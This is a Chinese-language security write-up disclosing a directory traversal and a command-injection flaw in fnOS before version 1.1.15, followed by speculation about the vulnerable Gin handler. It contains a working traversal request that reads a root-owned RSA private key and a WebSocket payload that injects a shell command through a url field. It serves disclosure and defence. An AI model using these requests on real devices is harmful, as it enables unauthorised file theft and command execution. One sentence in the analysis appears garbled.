飞牛系统fnOS目录遍历漏洞(CVE待定)：1.1.15版前任意文件读取与命令执行分析

漏洞简介

飞牛系统（fnOS）的 app-center-static 服务存在目录遍历漏洞，攻击者无需授权即可利用此漏洞读取服务器上的任意文件。例如，可以获取敏感信息如私钥文件（/usr/trim/etc/rsa_private_key.pem）、Shell 历史记录（/root/.bash_history）或数据库历史记录（/root/.psql_history），这些敏感信息的泄露可能导致服务器完全失陷。

影响版本

fnOS 版本 <1.1.15

漏洞复现

目录遍历

漏洞触发路径存在多个，例如：

/app-center-static/serviceicon/trim.media/
/app-center-static/xxx/xx/

本地复现使用的是早期版本，可通过构造如下请求实现任意文件读取：

GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_private_key.pem HTTP/1.1
Host: 

通过向上穿越四级目录（使用 ../../../..）即可访问到服务器的根目录。

命令执行

鉴于官方在 1.1.15 版本中仍未修复此问题，现将相关研究细节公开。

免责声明： 以下内容仅供在自建测试环境中进行安全研究与学习使用，严禁用于非法渗透测试。

测试 POC：

1. WebSocket 连接地址： http://IP:5666/websocket?type=main
2. 请求 Body 内容：

cA8dKVgUFNf/5QdKdIa7nEhaup6ObIo6D18J0am+KBQ={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}

JSON 前面的字符串是使用浏览器 localStorage.fnos-Secret 中的值作为密钥，对后续 JSON 进行 HMAC-SHA256 签名后的结果。由于此 Secret 仅在用户登录成功后才会设置，因此利用此 POC 的前提是已获得一个有效的用户账户。

Payload 被放置在请求体的 url 字段中。执行成功后，系统会在 /tmp 目录下创建一个名为 hacked20260131 的文件。

据测试，此漏洞在截止本文撰写时的最新版本 1.1.15-1493 中仍然存在。

如果在该版本下能成功触发，则意味着系统中很可能还存在一个前置的身份验证绕过漏洞，可能源于验证逻辑缺陷或 Nginx 反向代理配置不当。

补充信息： 根据社区成员 @Hantong 的回复，有记录的早期版本 ISO 文件下载地址为： https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso。如需官方签名，可向 https://fnnas.com/api/download-sign 接口 POST 如下 JSON 请求： {"url": "https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso"}。

安全建议： 所有使用飞牛 OS 的用户请尽快检查并更新至最新安全版本！

目录遍历漏洞原因推测

首先怀疑是 Nginx 配置问题。检查配置文件 /usr/trim/nginx/conf/conf.d/trim_app_center.conf 后发现：

location /app-center-static {
    proxy_pass http://unix:/var/run/com.trim.app.center.sock:;
}

Nginx 仅将 /app-center-static 路径的流量通过 Unix Socket 转发给了后端服务，并未在此路径下配置 alias 或静态文件服务。因此，漏洞并非发生在 Nginx 层面。

后端进程定位： 通过查看系统进程列表，发现监听该 Socket 的进程为：root 1452 ... /usr/trim/bin/trim_app_center。这是一个以 root 权限运行的后端二进制程序。结合漏洞特征，推测后端使用了 Gin 框架且存在安全缺陷，有兴趣的研究者可以对其进行逆向分析。

以下是基于现有信息的初步技术推理：

1. 确认使用 Gin 框架：在二进制文件 /usr/trim/bin/trim_app_center 中发现了 github.com/gin-gonic/gin 字符串，证实该应用基于 Gin 框架构建。
2. 漏洞归属：开发者实现错误：
   • 非框架原生漏洞：Gin 框架本身的 StaticFS 或 Static 方法通常会进行路径清洗，能有效防止基础的 ../ 目录遍历。
   • 异常参数模式：漏洞通过 ?size= 查询参数触发，这不是 Gin 或任何主流 Web 框架处理静态文件的标准方式。
   • 典型成因：极有可能是开发者为了实现“按尺寸读取”或“文件大小校验”等自定义逻辑，手动获取了 size 参数的值，并直接将其拼接或传递给了底层的文件读取函数（如 os.Open 或 http.ServeFile），而没有进行必要的路径清洗（例如使用 filepath.Clean）或白名单校验。
   • 结论：该漏洞属于应用层逻辑漏洞，是开发者在 安全/渗透/逆向 编码时编写了不安全的文件处理代码所致，而非 Gin 框架本身的已知漏洞。

详细技术背景：

• Gin 的安全机制：Gin 的 c.File() 和 router.Static() 等方法底层通常会调用 http.ServeFile 等安全实现，它们会对请求路径进行规范化处理，难以直接通过 URL 路径参数（如 /static/../../etc/passwd）进行逃逸。
• 漏洞代码推测：

// 存在漏洞的伪代码示例
func DownloadHandler(c *gin.Context) {
    filePath := c.Query("size") // 直接获取 size 参数
    // 缺少: filePath = filepath.Clean(filePath)
    // 缺少: if !strings.HasPrefix(filePath, allowedDir) { ... }
    c.File(filePath) // 或 os.Open(filePath) 后读取内容返回
}

这种绕过框架路由、直接处理用户可控参数的模式，是导致本次 目录遍历 漏洞的根本原因。

参考

https://github.com/gin-gonic/gin/issues/4443
https://www.v2ex.com/t/1189392
https://mrxn.net/news/fnos-Directory-Traversal-rce.html

网络安全领域知识浩如烟海，社区中卧虎藏龙，众多技术大神乐于分享。作为学习者，起点和背景的差异并不可怕，关键在于保持热情、持续钻研并缩小差距。这条路充满挑战，也极具趣味。但务必坚守底线，将技术用于正道，做维护 网络/系统 安全的“白帽子”。安全之路，共勉前行。

本文技术讨论首发于 云栈社区，欢迎更多开发者加入交流。